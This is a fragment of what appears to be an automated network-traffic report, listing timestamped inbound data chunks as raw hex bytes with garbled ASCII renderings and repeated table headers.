47 30 8d 41 f7 72 4f 63 aa 01 07 9b fb 5f c4 6b 75 b3 c0 29 ab 58 16 1f 3b 22 5d 6b ca 48 21 4c 57 a7 8e 21 5d ba 5a 19 
b6 de f4 18 a8 ca 4d f1 ef 9b f8 ce 67 eb b7 f0 75 fe f6 ff 66 
Data Ascii: s^A.)%jE~TP3`f<0=)bM%[O>|BO68`qI\3&ruJA&,e+UAjkDZ}KvJB>kJBGK:iQH?r6Im1>Ic2\c]E|$@G0ArOc_
ku)X;"]kH!LW!]ZMguf

2022-09-20 10:10:08 UTC 3630 IN Data Raw: 0f a5 29 52 3d 47 0f dd 8b 23 69 05 d4 bf a8 f7 28 e0 a6 f0 47 17 31 6e aa 94 e6 8e f1 74 38 e6 6c 5d 92 85 e1 
a1 6c bc 1b 79 3f e6 d9 e6 38 a4 d8 36 fe 62 41 c2 da f9 14 b6 49 e8 4e ac 19 ed ce 75 e3 c9 18 eb 54 53 6d 86 d1 bc 9b 
e0 61 ed 4e 27 12 5c 48 6d 0d b3 55 da 1f 36 c7 4e 29 21 10 02 be 3d cf 71 41 00 bb b0 89 00 b3 56 83 bb 1d 77 0f 33 
6b 49 1f b3 d6 d6 46 75 55 7b f2 9c ce 04 f3 6d 07 14 4e 40 0d d0 65 1f d0 e1 16 5d 36 dd 98 be 56 ea f0 79 8c 89 8a 13 
95 34 1d 69 95 ce e6 9d 3d b0 4d ed c2 c2 1f 49 da 1d 91 0a de e2 09 63 7f a7 42 0d 4c f5 26 10 c6 16 d0 c0 6e 09 15 de 
4f 91 a1 bc 37 52 85 09 c2 1a fa 55 d0 bf 62 5c 5c 35 bf 03 bc 32 f0 4e 38 45 99 7e 66 38 c8 b9 4c be 4b 1f d3 45 2d ba 
34 3c 91 05 55 11 58 2d 33 f9 fd 0a b1 49 88 cc d1 85 8b 
Data Ascii: )R=G#i(G1nt8l]ly?86bAINuTSmaN'\HmU6N)!=qAVw3kIFuU{mN@e]6Vy4i=MIcBL&nO7RUb\\52N8E~f8LKE-4
<UX-3I
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kBytes
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2022-09-20 10:10:08 UTC 3637 IN Data Raw: 85 d8 14 7c 55 17 3e e6 4b 28 ba d4 23 27 f4 bd a7 0c 1d bd d9 74 09 37 f4 18 f1 9a 6c 6e d2 1d e3 f5 f7 09 
98 97 b9 c0 ce b6 e7 e2 f0 92 74 50 d3 ac 1c 01 43 69 c6 79 23 8e f8 17 ba 72 b7 19 44 57 e2 9a bd 55 b5 85 50 83 fd cc 
20 58 5a ea 14 d5 f7 61 5f e5 f2 76 e9 50 98 0f 40 5f 13 66 14 4a 93 f6 6b 70 55 a6 9e 0d f0 32 d9 af 68 75 f1 0d a2 45 5a 
3f 4c cc f6 20 50 3a 51 6d 44 f7 13 e7 b3 05 5f ba 48 13 3a 8a b2 25 f4 73 3a fa 09 3d 11 39 06 6c 16 37 82 79 f0 cb 78 
8b 8c c0 17 b6 e4 70 8d d4 7d 2f f0 69 a5 a0 70 d5 9f 24 26 ac 42 bd ea 32 57 7d d7 96 5c ae ba 5c bd 2a 28 e5 ee 2d 96 
ab 86 2c fd 33 94 ae ee db 02 e6 31 a7 e0 04 ae 6e 2c 66 5f 6d cd d4 8a 43 8c db e7 b4 a1 c2 c3 a8 a4 01 e1 01 bc 33 42 
8b 2c 2f 7c 90 58 29 36 65 22 fa 42 ad e1 6d 0b 75 9a 
Data Ascii: |U>K(#'t7lntPCiy#rDWUP XZa_vP@_fJkpU2huEZ?L P:QmD_H:%s:=9l7yxp}/ip$&B2W}\\*(-,31n,f_mC3B
,/|X)6e"Bmu

2022-09-20 10:10:08 UTC 3645 IN Data Raw: 1a 49 f6 03 e9 85 a0 c2 f1 20 55 74 90 f5 70 e0 e0 59 3c c4 34 1a 47 65 9d 96 d4 c4 e5 9e 46 ab 3c d6 cb 4a 
67 eb f2 da 71 07 98 0e a4 cf 5c d7 49 8d 7c 30 ed 9f 5b d4 e2 71 3c b9 64 ca 67 66 d6 6c 9a 59 40 c0 73 4e 31 b5 94 69 
45 84 7d 34 c1 d8 8d ef 32 57 b8 33 26 0f 5c e4 74 b6 16 79 b2 14 98 22 f9 5e 39 50 fa e7 94 10 35 eb 9b 97 5d 4f 08 f7 
9f 71 e7 95 21 e5 ab d6 c2 bf d1 44 c2 44 ab 7d ae 8f 3c c4 94 f1 9b a4 d8 db d2 a6 55 6b 45 71 41 d1 6b 97 34 2f 4f 35 
2f 93 08 3d 58 9b 95 0d 4f 25 ee c3 7a cd 5b d6 2e 5d b9 64 fd 2a eb 5a c9 b8 0e 53 fd 63 c0 d2 17 08 03 f6 b0 f3 3f b6 
2a 23 f9 4e 83 19 bd ca 9c ee 51 24 0f 29 d0 ee 3b c4 59 1b 31 15 57 f1 f2 76 ae e0 45 b2 b6 8d 88 62 be 7a 0d 47 5f d9 
72 a3 5b bc 27 dd 99 b2 36 2e 44 3e a3 6e 2f 11 84 e9 ec 
Data Ascii: I UtpY<4GeF<Jgq\I|0[q<dgflY@sN1iE}42W3&\ty"^9P5]Oq!DD}<UkEqAk4/O5/=XO%z[.]d*ZSc?*#NQ$);Y
1WvEbzG_r['6.D>n/

2022-09-20 10:10:08 UTC 3653 IN Data Raw: b8 dd a6 23 b0 57 5e 05 e8 92 2c 0f 12 f8 a1 a4 02 bc 20 a9 00 c1 51 e6 c5 72 0a fc c8 46 7e 42 81 5f 8d e2 
7e 05 88 8e 36 e9 08 8c 1a cd 2f 03 2c b0 e9 40 d7 43 cf 30 11 04 46 9d 21 99 08 fc cb 18 93 8e c0 8f c7 70 25 00 fe 9d 
83 0b ff 40 20 3a 96 53 01 aa 38 b8 10 e0 c0 38 f3 22 02 20 04 94 0e 5a 60 16 f5 1e 5e d4 7b 6c 64 2f 05 fe d5 46 8e 66 
96 fb 1e ff 72 df c3 cb dd ac f0 3d bc c2 37 d8 c8 26 0a 7c d5 46 9e cb ac fd 3d bc f6 87 4e 32 11 ac fd 57 6c 04 81 bf 31 
dd 5c 08 70 78 b2 49 47 e0 a5 c9 dc 7f 00 65 53 4c 3a 02 c3 a6 70 63 cf 20 f0 4b 9b 8e c0 af 24 1d e8 a4 7c 2a 07 81 4c 
2e 90 e0 6c 02 37 4e b5 fd 41 81 67 6c e4 4d 0a 54 4c 33 11 04 aa a7 f1 1b 63 a7 79 98 68 8f 0f 13 39 f4 5f 90 a1 a0 9e 
4c 28 f3 e7 64 61 83 5f 0f 11 74 8d 70 83 6f de 4f 30 
Data Ascii: #W^, QrF~B_~6/,@C0F!p%@ :S88" Z`^{ld/Ffr=7&|F=N2Wl1\pxIGeSL:pc K$|*L.l7NAglMTL3cyh9_L(da_tpoO0

2022-09-20 10:10:08 UTC 3661 IN Data Raw: 8e d6 fd 7c 18 32 3e 68 a6 1e a8 53 a0 75 43 b6 ae e8 4f 2f 44 ba ec 48 c1 a6 1d e1 93 45 b4 88 b7 c8 f1 cb 
ed 48 c1 2e 3b c2 73 cc ae 26 18 c9 35 fd 0d 3b 42 4f b7 ab 77 d5 d1 71 5f 7f 2d a9 41 82 43 9e f2 eb 24 35 4c 94 1f 7c 
74 97 7a 74 97 bc 01 01 48 bc fd 7d d4 10 f8 ba e7 1c 35 03 8e 8e 9c 33 5d 8a 65 c7 9b 33 c5 0a 69 f8 28 4b 3d ca 92 37 
f8 b6 1c 90 45 67 fa ac 2e 70 17 d5 fd 4a 1e 3a b6 f2 19 77 bc 79 d8 3d e3 8e 5e 1e f3 3d e3 8e 01 6c 57 8f b6 cb 1b 88 fd
76 db 4b 8e 3b 02 58 ff 7f a8 22 80 8e 8f 79 04 f0 e6 a0 3b 02 e8 a5 da 57 04 d0 fb 67 ea c1 67 f2 46 ff dc 95 e8 f6 ec 18 
64 59 15 83 a4 4c 74 3c 2f d6 c4 92 91 ec 1e 24 bb 3d bb 07 a9 33 db 98 ff 1d ce ae 18 47 b4 27 38 58 04 1c 62 31 99 9f 
d9 91 84 24 df 3c c0 b2 6e a6 f5 20 24 c5 6a 3d c8 
Data Ascii: |2>hSuCO/DHEH.;s&5;BOwq_-AC$5L|tztH}53]e3i(K=7Eg.pJ:wy=^=lWvK;X"y;WggFdYLt</$=3G'8Xb1$<n $j=

2022-09-20 10:10:08 UTC 3669 IN Data Raw: 21 3b 90 ec 26 cb 39 e8 a1 c6 02 5f 1f c5 54 07 09 8f 41 5e 74 b4 a6 8a 1c c9 0a e1 4c 45 52 4c 28 92 87 09 
45 f2 92 ef 33 0a 3f 83 2b 43 14 d6 b4 0d 21 e9 1b 42 66 78 28 12 ea 5e 85 ad ee 55 a8 ea de 09 29 09 7c cd 10 3e 13 b5 
f5 62 f5 db 2d a5 41 d6 22 f9 81 12 fd 2b 90 4b c8 aa 90 a4 ea f9 60 f6 8b b0 41 c3 2a 36 c2 5a 6e 85 9f ec 18 de ef 74 7c 
7d b3 40 aa 0e 06 75 19 1b 3d 12 44 e0 39 8f 9b f5 39 a9 5a 8d 15 95 5c e3 06 11 c0 e4 eb fe 5b 4b 05 68 ac 08 3c 6d b0 
3e 2d d5 ae b1 9a 49 53 da c0 6a e9 07 99 10 dc 36 84 92 62 a8 5f 30 a9 87 cc 06 74 ab 2c 40 b7 ae 9c 1d 50 9d b6 eb 
4c 15 32 d2 6e 34 45 83 e4 b2 ce c6 7a 10 72 5f d6 d9 3d e3 c0 50 be 3d c0 58 5e f3 a8 bd 2e f4 57 ab 6c 31 8c 71 14 46 
04 d2 71 b4 d7 1f 49 aa 88 47 ae c7 8b 8e 1a 9a 1b ae b1 
Data Ascii: !;&9_TA^tLERL(E3?+C!Bfx(^U)|>b-A"+K`A*6Znt|}@u=D99Z\[Kh<m>-ISj6b_0t,@PL2n4Ezr_=P=X^.Wl1qFqIG

2022-09-20 10:10:08 UTC 3676 IN Data Raw: 72 5d 01 8f 56 07 72 84 d0 23 72 0a 0a 50 3f 13 50 07 f2 55 0b 83 0f d0 86 7b 0a 0b 4d ef 69 9b 73 12 9a 73 
12 a1 49 f6 21 0f 49 ce 84 43 ba 9a 85 02 d4 99 29 31 ce e2 08 02 d0 ff f2 58 dd f6 d9 42 f6 e1 31 92 48 7f a7 9e 30 92 63 
f4 8a 08 92 34 fa a0 d5 18 36 97 b0 4b ae 03 28 f3 e4 13 97 3f 50 0f f9 79 b9 2a c5 a6 27 4d 23 9b 2c bf a2 87 f4 38 75 a7 
8f 3b ad fc 81 7c b5 f4 04 78 a9 5d b7 a5 3b 15 5a ba 7b ba 92 8c 2a 1d cd 67 2c d5 4c 63 e5 4a 94 08 cf 6d 35 a3 c9 10 
90 9c 4f 47 44 20 c9 a5 25 ee 5c db ac 12 9d 91 56 3a 9f 36 e0 cb f9 ce a0 2b fd 98 5d c1 a5 a3 19 3c 4b 4e 24 af d1 79 
1c af d9 f5 9b 96 9d b1 7e 62 6d 66 5c d0 bf 69 0a e5 ef 1c a8 0e cf a3 86 ed 3c d9 f7 c2 bd 77 40 5a 35 96 15 25 3a da 
d2 46 0c 24 69 0a f7 97 f5 17 37 35 e7 ac 85 07 74 
Data Ascii: r]Vr#rP?PU{MissI!IC)1XB1H0c46K(?Py*'M#,8u;|x];Z{*g,LcJm5OGD %\V:6+]<KN$y~bmf\i<w@Z5%:F$i75t

2022-09-20 10:10:08 UTC 3684 IN Data Raw: 56 5b 54 63 20 2d 26 ef 58 6d 6f 25 27 12 0c 02 5f 2b aa 89 9c e7 45 b7 0f 1b 1a 26 53 07 30 12 7c cb 49 2c 
86 59 ff 47 bf 73 2c 3a fd 04 23 89 ef d7 4c f7 d0 a0 6c b5 87 5e 7d 70 f3 4d b7 28 3b d4 6f 99 1f 7e 4c fe 28 89 b5 64 1d 
ac 0a 8b ca 3f be 42 f3 19 0b 07 e7 22 ae 94 57 37 39 dd 3f 43 5e 77 cb ab 1c ae 16 60 56 5d 98 69 61 4f 69 39 f3 8b 57 
61 90 ef e7 1c ef 04 61 75 09 76 64 e1 35 20 d8 f7 73 8e e3 4b 1a d3 58 dc f0 ca f6 f3 9c e3 4b 5d e9 50 bf 22 70 df 04 57 
31 7b fe 10 7b 7e b7 1f bc 1a f4 fa 1d 5c f1 72 7e 45 fd 9a 59 38 76 a5 8e f6 19 4c bf b8 e3 1c af 56 1e 3a 86 2f 1e ae 8b 
59 7e 75 f2 83 e3 1b ab d8 a7 c1 ce ce 14 0f 1d 69 37 0b ae f9 b2 ad 50 3f f5 aa cc 2d 70 3d e6 a1 79 97 e7 d8 f3 bb fc 
e0 95 1e ba 3e 82 eb 2f c4 71 5a 88 a5 e7 4b 3f 
Data Ascii: V[Tc -&Xmo%'_+E&S0|I,YGs,:#Ll^}pM(;o~L(d?B"W79?C^w`V]iaOi9Waauvd5 sKXK]P"pW1{{~\r~EY8vLV
:/Y~ui7P?-p=y>/qZK?

2022-09-20 10:10:08 UTC 3692 IN Data Raw: 02 20 17 77 e6 c8 15 80 dc a5 21 57 03 f2 48 0c 47 fe 03 c8 47 1a 82 33 4b 23 b4 f8 3c 72 21 ee e0 e2 3c 2f 
02 b2 bc 07 47 3e 00 64 42 4f 8e fc 02 48 46 2f ad 5e 4d 80 be 96 86 74 01 e4 69 0d 19 0c c8 9b 1a 72 31 20 e5 9a fd cc 
06 e4 f3 5e ee 32 48 76 88 f6 fc 56 47 68 19 35 1b b4 7b 0e 41 f5 d7 bd 81 94 41 db 9e 3d 17 1a 65 07 7f 58 06 27 05 50 
06 e3 53 55 19 6c 1f 42 9f 83 61 b2 64 19 cc 73 ca e0 e2 b9 ae b5 37 b5 87 bc fc 8c ba cb 60 3e 68 2c 56 6b a9 8b 00 69 
d4 97 5b 66 19 20 6d 34 e4 05 40 ba f7 e5 79 f1 5f 40 66 69 3c 1f 00 f2 ac 86 7c 01 48 74 3f 8e fc 02 c8 d5 1a 12 74 91 
65 7d ad 21 cd 01 e9 df 9f 23 a7 01 52 a0 21 bd 00 a9 d4 90 a1 80 74 3d 53 21 19 a0 a0 8c 39 8b c4 17 12 9d 94 8e 01 
9e de 71 dc d7 14 40 86 c6 a9 74 29 fb 21 1d 62 5e f4 0e 75 
Data Ascii:  w!WHGG3K#<r!</G>dBOHF/^Mtir1 ^2HvVGh5{AA=eX'PSUlBads7`>h,Vki[f m4@y_@fi<|Ht?te}!#R!t=S!
9q@t)!b^u

2022-09-20 10:10:08 UTC 3700 IN Data Raw: 51 0f ad c4 d3 b9 39 f2 0c da 58 22 47 f6 00 b2 7b b1 4c 97 d3 12 8d 53 56 b7 aa ab 65 2d d0 53 d1 c0 56 57 
bd 48 69 15 57 a7 cc 99 6b d1 bb d8 ab ac 2e 08 6c 6b 99 11 1a 5a dd 8a 2e ca ea 1e f4 bb f7 60 c7 3a 65 75 4d c7 b9 77 
ca e1 4f cc 42 04 d7 6f 75 85 8d 95 d5 f9 ae 69 c5 4e 95 49 ca ea c6 76 f4 67 75 1d 83 ed 56 cf 67 3e a3 d5 8d 08 c0 ea 
42 1e 50 56 97 e8 31 76 00 4a ab 6b d9 54 b3 ba 39 ee f5 b8 77 d0 7e b2 ea 9e cd 88 eb 1f e7 e4 bb 40 3f e6 be 9c 11 
47 96 b2 9f 3b 6d 4e 3b 3e 86 fd f8 9f cd 08 c4 7e e2 b3 95 7e 30 1c 73 07 17 da cf 53 5f 29 fb 89 0d 71 7f ef 0f 7f 68 3f 
5d ba 2b fb e9 e3 77 54 f2 dc 87 ca 7e ee f6 c5 42 b3 19 f5 d8 0f da 46 a3 5c 65 1b 47 2c 7f b6 81 31 ad af 47 94 18 80 6d 
4c 7c b0 fe d9 8c 81 ba 6d 64 af 70 19 c7 77 d8 7e 2d 
Data Ascii: Q9X"G{LSVe-SVWHiWk.lkZ.`:euMwOBouiNIvguVg>BPV1vJkT9w~@?G;mN;>~~0sS_)qh?]+wT~BF
\eG,1GmL|mdpw~-

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 3708 IN Data Raw: 5d 0b c8 87 5a fb 5e 0a c8 2d 1f 71 59 cf 01 92 af d5 c6 1f 02 12 a7 e9 e7 1b 23 3e 7f 02 b2 47 e3 09 bf c3 b2 
7e d0 7a 17 dd 01 09 ed cd a5 9f 77 87 3b 9c 34 40 5e 7d 92 f3 2c 01 64 93 a6 d5 5b 00 d9 fc 02 e7 d9 0e 48 ab c3 3c ce 
7b 01 39 a1 8d f5 3e 01 c4 d3 86 c7 e7 77 40 5a 6b bd dc c8 3b a1 0e d2 52 d1 19 90 ae 17 72 9e b3 ee 74 c7 f9 52 40 5a 
ed e6 d2 e7 03 92 fb 3d 97 b5 06 90 46 ab 38 e2 05 64 49 5f 1e f2 b3 80 8c d6 46 fd fb 01 d9 a1 a5 fd 47 40 8e 6a e9 0a 
df 0c e3 82 20 2e bd 1b 20 af 5c c2 65 9d 0b c8 3c 2d 9c d4 cd d4 d7 64 fd cc cd dc 5a 32 66 ce 5f 34 3b 7e c0 40 3d a5 
05 c0 b3 e4 47 ee eb 0e 40 0e 6b 65 f0 41 40 4a 73 b8 85 ef 04 a4 d8 69 3d b3 67 cd 5f 34 3f 4f 7c 6b 4b ca ca 98 9d 95 
95 91 e1 d2 ea 7f 37 bb f5 fc b9 86 64 cc 59 9e 33 3f 
Data Ascii: ]Z^-qY#>G~zw;4@^},d[H<{9>w@Zk;RrtR@Z=F8dI_FG@j . \e<-dZ2f_4;~@=G@keA@Jsi=g_4?O|kK7dY3?

2022-09-20 10:10:08 UTC 3716 IN Data Raw: f7 4e 9f 3c c1 be d2 06 a0 8d 7d b1 b1 53 6a ec 09 d8 5e f5 10 a5 19 b7 83 b2 aa c9 84 c4 12 27 72 8e 06 dd 
0c 26 cd d2 69 b3 91 5e 92 c5 ee 58 c0 64 b8 da b1 1c 3a 1c 40 c5 52 0a 8a ae 9e 8f d1 87 b6 02 02 df ce 67 6f 07 b1 56 
5f 86 ef ac cc ba 54 c0 36 9e d6 cb c6 b1 cb dc 1d bb c8 46 ee 90 73 78 19 96 db df 40 e7 04 83 8b 04 e4 85 9a 45 61 65 
6a 20 d1 c2 ca 21 07 08 45 89 79 8d 4e 5b eb 31 02 ed 72 d3 8a 8b c4 1f 2e 4b cd 02 58 dd b0 e2 0e 20 86 1c 2a 72 cd 
e2 23 15 a5 c6 9e d5 4f 6d 46 d1 41 20 ba de 63 d7 15 aa f0 3e 3d 52 7c dd 21 12 35 ee 3d 65 de 47 69 01 6c 06 88 84 
75 57 05 60 b4 43 88 2b 31 7e 95 91 0f ad 96 f7 e8 90 b5 fe 6c 11 4b b8 a9 ad b3 cd 6c 4c 2a 7e 3f 6c 82 c7 da 40 5f 9b 
9f 17 79 6b 33 36 46 a3 78 e6 0c 40 7b c0 13 da 87 6d b7 b2 bf 
Data Ascii: N<}Sj^'r&i^Xd:@RgoV_T6Fsx@Eaej !EyN[1r.KX *r#OmFA c>=R|!5=eGiluW`C+1~lKlL*~?l@_yk36Fx@{m

2022-09-20 10:10:08 UTC 3723 IN Data Raw: a9 a2 d8 8b fd 56 69 91 65 e0 79 33 3c 6b 6f f5 c0 75 eb d2 32 c6 10 ae 75 50 2e cc 2a a9 71 d5 8c 35 d7 78 
ae c1 f5 95 f1 b5 e3 42 af 2a cb 81 73 4b ab 42 33 5a 18 60 c7 e5 30 b0 09 de 2f 47 04 05 70 ee 99 75 ec 7e 97 0f 7e 62 
f0 de 0f d7 3d f9 70 b3 dc 33 7e 75 f3 cd 78 9f 9e 80 74 ad 52 b1 bf 4d 48 77 2d a3 4b b2 04 99 4a 7f 0d d7 f3 72 e1 09 df 
3a 06 47 b2 06 99 d3 9a ff be 00 2e 34 e3 82 25 4b f1 fe 0c fc 89 59 69 8f a5 7b 8b c0 79 6e 20 fe 6c c4 24 87 db 52 04 
ae 65 ed 0d 37 ad 96 f8 1e 82 3a 54 c2 e5 be 02 b8 79 33 6b 99 60 ba 01 44 72 95 b3 bd d8 9e 0f e7 9e 37 f3 cc 7a ba 5f 
b6 15 b4 6e 16 c0 3d 0c d7 1d f9 70 8e 79 33 eb 6a e9 7e fb 02 5c 2f 20 6b 80 eb 85 83 0a e1 ce 3e 9b ee 2d 87 90 ee 60 
49 d2 91 bf 22 70 e7 9c 4b f7 b3 f1 c7 61 63 eb dd 30 
Data Ascii: Viey3<kou2uP.*q5xB*sKB3Z`0/Gpu~~b=p3~uxtRMHw-KJr:G.4%KYi{yn l$Re7:Ty3k`Dr7z_n=py3j~\/ k>-
`I"pKac0

2022-09-20 10:10:08 UTC 3731 IN Data Raw: 0c 1e 22 b6 7e 12 83 f0 71 77 d2 a6 6c 7a 0f 37 7d 4b 9e a6 ef 7d 5f 9f 9c 60 87 33 39 97 62 04 56 a6 6f 8c 7f 
43 70 45 29 4f 80 ca 2c a1 e9 e0 f4 12 f4 cc 96 e3 53 d3 5c de 5f ae 91 e3 c4 72 26 cb 27 87 99 ef d1 20 88 ce b8 df 34 dc
62 fb 85 3f 73 46 41 ee 87 c6 dc 0f 6b 66 d0 90 f5 98 c6 38 8e 76 52 be 34 59 f7 e2 fd 99 b2 6e e2 86 6c 59 37 2f 43 d6 1d 
cc 33 ce 46 9c c0 42 db 98 e7 df 30 dd 11 69 4d 19 1b fe 25 ff ca 93 d9 99 e7 25 4f be 67 1a 6e 45 6e e9 37 53 e4 b4 64 
c7 61 94 b8 61 e9 94 e0 9b ee 3c 74 fe cf bb a6 f4 48 72 50 2c ae af b4 38 af b4 b8 b3 d2 e2 d9 2b 2d 81 6c db 53 66 27 
36 5b 35 55 a5 06 64 13 22 66 01 fd d1 ba d5 eb 34 20 16 51 7d 29 67 21 06 cc 5e f3 75 e0 be 3e 95 98 88 77 24 22 57 
79 d1 27 d2 c3 ea 90 90 9e 7d 26 22 64 8a ab 30 ee 
Data Ascii: "~qwlz7}K}_`39bVoCpE)O,S\_r&' 4b?sFAkf8vR4YnlY7/C3FB0iM%%OgnEn7Sdaa<tHrP,8+-lSf'6[5Ud"f4 
Q})g!^u>w$"Wy'}&"d0

2022-09-20 10:10:08 UTC 3739 IN Data Raw: 61 93 63 88 33 c7 5d 99 78 3e ca b2 99 aa 2f de e5 ff fe 2c 67 b0 e2 99 17 f1 f9 db 8d cf b7 86 c3 ea 74 07 30 
59 e1 b0 3b eb dc 7b 5d 79 69 12 f1 7d ab 03 df bb a7 a5 c6 f7 9e a5 46 37 e5 e1 45 dd 18 9d 1d 47 3b 0b 4e 73 f6 2e 17 
73 77 47 57 87 79 ef f8 5e 73 47 83 78 72 80 f2 b5 9b 5b 18 ff ba e8 7d 77 17 4f aa 7d be c7 31 ee bc 56 c6 dd 6f a9 6d 9f 
2f ea 2e 24 a1 03 72 9f 1a 28 bd 0a d5 8b a8 ab 65 9f d4 45 2f 7b 11 e6 76 05 fa 19 a8 9b 61 8b f6 c3 bb 7a 75 0c 29 84 
ca c4 1e 73 48 cd 07 1d 52 f3 98 56 06 33 e9 09 b4 d4 42 b7 53 be 44 3b 40 03 5f b8 aa 94 d1 84 58 c9 47 92 5b 70 4a 
d6 49 4f 59 a7 a2 09 ea 4c 6c c0 35 c0 9d a8 cf cf e1 fd 2f 1a 08 21 c4 cf fc 2f 71 67 98 06 c9 33 7b b4 41 57 88 06 9e 79 
83 c4 df b4 cc 72 0e c4 85 e3 ff 96 af f3 08 81 9c 
Data Ascii: ac3]x>/,gt0Y;{]yi}F7EG;Ns.swGWy^sGxr[}wO}1Vom/.$r(eE/{vazu)sHRV3BSD;@_XG[pJIOYLl5/!/qg3{AWyr

2022-09-20 10:10:08 UTC 3747 IN Data Raw: 71 ed 87 f6 24 da c9 c0 c1 f0 f8 8f 97 1b 89 3b a9 9c 77 d2 7e de 49 5f 76 b0 93 b6 fd 07 4a 74 24 da 24 c3 55 
61 35 c5 62 0c 66 42 1b e3 f8 6c 89 04 2d 12 69 3a b6 d1 b4 15 90 62 f3 7a 82 34 68 e4 bd ee 96 35 6a 4f a6 27 9d 29 cc 
ac 24 1a f4 7c 5d aa 49 51 18 61 71 0d 23 e7 6f 64 54 07 bf 34 26 c6 e3 63 53 e8 05 8f 4c a5 0b 6c a4 67 b5 8e 2b 12 96 
3f a7 9f 4f cf c9 93 f2 9c 75 34 1a 0f ee 6c 14 26 5f 75 04 a8 e7 dd c0 8f 89 f6 2d cb df 13 f0 ee 36 6b 5c 2f 1b ae 3f 56 40 
f6 6f fe 26 4a e6 ee 09 e4 ef 36 ff bc 2a c5 27 32 b5 32 25 15 85 ef 70 33 5f 35 e1 bc a0 a4 4d df b4 b3 ee b5 b8 fa c0 b2 
ca 94 ab 53 9e b1 88 e5 c9 8c e5 0b d7 59 58 6e b9 54 9c e0 39 6d 14 1a a2 15 fa 58 14 aa 4a bb 9c af 6b 79 c3 94 9c d4 
dc 99 b7 7f 37 7d f3 3b ab 4a 4f 74 00 11 8b 
Data Ascii: q$;w~I_vJt$$Ua5bfBl-i:bz4h5jO')$|]IQaq#odT4&cSLlg+?Ou4l&_u-6k\/?V@o&J6*'22%p3_5MSYXnT9mX
Jky7};JOt

2022-09-20 10:10:08 UTC 3755 IN Data Raw: f3 82 85 7d 53 5a c9 07 90 3c 3a e7 04 0b fb e5 1b d6 a3 a4 55 35 ad 19 0f 4f 32 aa 31 69 68 d2 cc 70 c6 54 
d1 b0 46 b8 cb 62 b0 de c0 8c ca 7d 09 c0 3a d2 c6 7a ac b4 d8 6d 3c cd 6d 2c 4f d0 c6 fe 36 93 45 9b ac 66 8b 19 37 98 
f1 97 61 b9 77 02 fd f5 c8 7b 6c c3 d6 a5 0b e3 7f e1 d5 ad d0 ac aa 01 d1 9a da c4 e7 9f 41 8f bd aa bd 86 dd af f9 e0 4e 
b1 53 14 cd 2e ce 4e 6d b7 ed d4 76 48 69 f4 2f e6 49 44 a7 e5 b5 7f 36 a5 db 97 92 6f ad 75 12 27 60 12 bf 6a 8b eb f5 
7c cb 69 d4 f1 a9 11 a7 3c a3 c0 ce 5d 75 8f 66 20 ae f9 7f 8f 8c a7 89 68 bd 33 86 26 62 dc 6d d1 94 42 ce 0e 2b a5 f0 62
82 0d bb e8 5d fd 76 4c d1 9a fa 5b 34 58 c8 dc 2a be c8 c0 18 4b f3 50 7e e3 a5 c3 8c 96 10 dc 51 da d9 17 cc 20 46 7b 
8f b0 28 7f b5 d9 ac 47 36 3b 85 c2 b9 c8 a2 8a ae 
Data Ascii: }SZ<:U5O21ihpTFb}:zm<m,O6Ef7aw{lANS.NmvHi/ID6ou'̀ j|i<]uf h3&bmB+b]vL[4X*KP~Q F{(G6;

2022-09-20 10:10:08 UTC 3762 IN Data Raw: 35 32 74 9f 85 da e9 d9 c0 14 e9 5d 73 6e 44 36 4e d0 be 1b 1f 15 e8 ba 9f 81 03 a8 86 ce 30 ce bc d3 b8 65 
2f 7d 24 88 66 12 b1 6e ea 6d bd 77 86 1c 15 49 b1 9b cb b5 3f 3b 41 ed 1d 8f a4 e4 e3 64 31 77 70 31 cf 4d 50 4c a9 2c 
06 38 d6 42 e6 68 1d 13 70 b4 02 b7 8b 88 ef 82 06 e6 77 48 de 56 79 5e dc 2e a9 7e 32 53 bd 99 c4 b3 e5 8e 65 4a 77 
da 02 1e 65 88 47 10 9f 61 84 b2 49 30 b3 e6 3a 4e 0f b0 c1 41 47 1c 49 18 3a f7 9b a5 59 b2 cd 49 cc 92 c5 95 b8 45 a6 
dd 72 ee b4 49 a0 2e 93 50 97 4d 00 f5 0e 4a 34 0d 1d 89 e0 56 49 10 aa ce 0d 42 ad dc ea d5 62 5a 17 9d 32 a4 cc 82 
44 46 fb 74 42 0a d1 c9 86 a3 b8 c7 8f 3b 68 30 e6 f6 00 1f ce 0d d3 55 cb 80 62 f5 3d ef ac 26 4d 82 28 27 07 eb 0e a9 
67 22 89 46 5a 82 d9 7d 3c f9 c1 46 4a 8a 38 e8 14 b3 ba 7a b8 
Data Ascii: 52t]snD6N0e/}$fnmwI?;Ad1wp1MPL,8BhpwHVy^.~2SeJweGaI0:NAGI:YIErI.PMJ4VIBbZ2DFtB;h0Ub=&M('
g"FZ}<FJ8z

2022-09-20 10:10:08 UTC 3770 IN Data Raw: 22 a1 6c 62 ce 74 63 0a 96 2f 71 51 52 9c 62 f1 81 2b 15 14 24 76 83 6a 1b ec 70 0c 86 d5 6d 8f 84 94 ad e2 
f6 38 58 e9 0a e2 11 e0 38 ce a7 b2 38 10 2c 8c 79 72 24 58 7a 4e 84 01 28 b6 82 66 70 ae c0 d8 a3 3c 1c 23 78 8d 15 
9c eb 71 18 63 1d 5b a4 3b d6 e9 61 44 04 dd 66 76 2c 54 26 47 81 1f b4 a4 76 ea 5e 36 cd 34 c8 8d a9 3c 8d 90 ae 96 
d4 ed ed 77 a5 3d c2 72 0c 5d db 52 cf 59 6a 18 69 49 62 74 00 9a 21 45 fa e3 c3 4a b1 0b 77 f3 03 b3 80 fc ab 84 65 6a 
81 5b 90 b9 72 a7 e3 3b 7c 90 84 dd 68 8a 54 f1 7b 52 87 49 d0 7b 8c a2 9b a1 cb ed 91 a3 d9 c6 e9 01 10 8f 4a 52 e6 6
e a7 5f c3 ab fb a5 1f cb 1b b1 3e 79 e3 41 6e df 81 6b 4d 43 0b bf 3a 11 d7 1f f6 e4 9c f8 a0 43 f4 62 54 2b 82 fd 39 08 
2d bb 1c 01 af d3 28 eb 62 1f e9 6d 2d 02 bb 7d 4a d8 28 bd 9e 
Data Ascii: "lbtc/qQRb+$vjpm8X88,yr$XzN(fp<#xqc[;aDfv,T&Gv^64<w=r]RYjiIbt!EJwej[r;|hT{RI{JRn_>yAnkMC:CbT+9-
(bm-}J(

Timestamp
kBytes
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Direction Data
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2022-09-20 10:10:08 UTC 3778 IN Data Raw: a7 2b a9 d2 48 ae 27 55 b3 57 ed 99 5e 05 67 e4 d9 7e bc 70 a9 d9 d5 78 e1 51 b3 d7 e1 45 56 8c ef 0f 68 ab 
